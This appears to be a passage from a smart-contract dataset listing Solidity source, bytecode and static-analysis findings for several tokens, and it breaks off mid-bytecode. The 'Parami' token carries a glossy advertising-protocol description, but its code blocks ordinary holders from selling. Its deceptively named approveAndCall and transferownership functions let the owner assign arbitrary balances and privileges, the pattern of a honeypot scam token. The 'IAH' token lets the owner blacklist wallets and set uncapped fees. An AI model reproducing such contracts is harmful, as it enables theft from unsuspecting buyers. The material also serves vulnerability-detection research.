5565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a0f908261097c565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a8057600080fd5b600254610a8d9082610995565b6002556001600160a01b038216600090815260208190526040902054610ab39082610995565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122074d3fd4eb806dd42a898001fb66f75e6adbf313056377485afe4763de887afa764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,729
0xe4942afe467d704f95a91d0f7102e24f6ae11661
/* OVERVIEW Parami Protocol proposed an AD 3.0 paradigm powered by blockchain for Web 3.0. It provides a protocol stack for building a user-centric, tokenized advertising economy. Decentralized Identity Parami Protocol provides a complete set of PDID (Parami DID) solutions compatible with W3C DID standard onParami Node, and expands its business on the basis of DID standard. Parami Protocol will also provide DID aggregators for other DID standards. AD Privacy The AD Privacy Layer provides a personal crypto advertising preference (PCAP) document attached to userDID, which contains user advertising privacy management service. The PCAP document works not only forpayment but also for user preference data. The preserved data can be used but can not be seen. AD-Oracle The decentralized oracle is designed for collecting data from conventional Internet. It is built as part of Substrate Offchain Worker(OCW) and particularly works for Ad verification with low fee and fast response. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Parami { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158202ab0b748055fafad8af8fbb9d6969d5a979267a9da1165e38a8e0980268bafc164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,730
0x93b861d86c93d6172e6ff0c6f3da2da110d34777
/** teh voice to speak https://ibb.co/ydtHnWm https://www.youtube.com/watch?v=Goq1PHHDEjI */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract IAH is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Diety of the Night"; string private constant _symbol = "IAH"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 888888888888888 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4845eaDb8e739E7a66ffa0b2F7545b58a83Be4F0); address payable private _marketingAddress = payable(0x4845eaDb8e739E7a66ffa0b2F7545b58a83Be4F0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 26000000000000 * 10**9; uint256 public _maxWalletSize = 26000000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104b957600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196c565b610604565b005b34801561020a57600080fd5b50604080518082019091526012815271111a595d1e481bd9881d1a1948139a59da1d60721b60208201525b6040516102429190611a31565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a86565b6106a3565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b5069bc3ac3627d44cbe830005b604051908152602001610242565b3480156102e657600080fd5b5061026b6102f5366004611ab2565b6106ba565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610242565b34801561033857600080fd5b5060155461029b906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611af3565b610723565b34801561037857600080fd5b506101fc610387366004611b20565b61076e565b34801561039857600080fd5b506101fc6107b6565b3480156103ad57600080fd5b506102cc6103bc366004611af3565b610801565b3480156103cd57600080fd5b506101fc610823565b3480156103e257600080fd5b506101fc6103f1366004611b3b565b610897565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611af3565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029b565b34801561046357600080fd5b506101fc610472366004611b20565b6108c6565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600381526209282960eb1b6020820152610235565b3480156104c557600080fd5b506101fc6104d4366004611b3b565b61090e565b3480156104e557600080fd5b506101fc6104f4366004611b54565b61093d565b34801561050557600080fd5b5061026b610514366004611a86565b61097b565b34801561052557600080fd5b5061026b610534366004611af3565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610988565b34801561056a57600080fd5b506101fc610579366004611b86565b6109dc565b34801561058a57600080fd5b506102cc610599366004611c0a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611b3b565b610a7d565b3480156105f057600080fd5b506101fc6105ff366004611af3565b610aac565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611c43565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c78565b60209081029190910181015160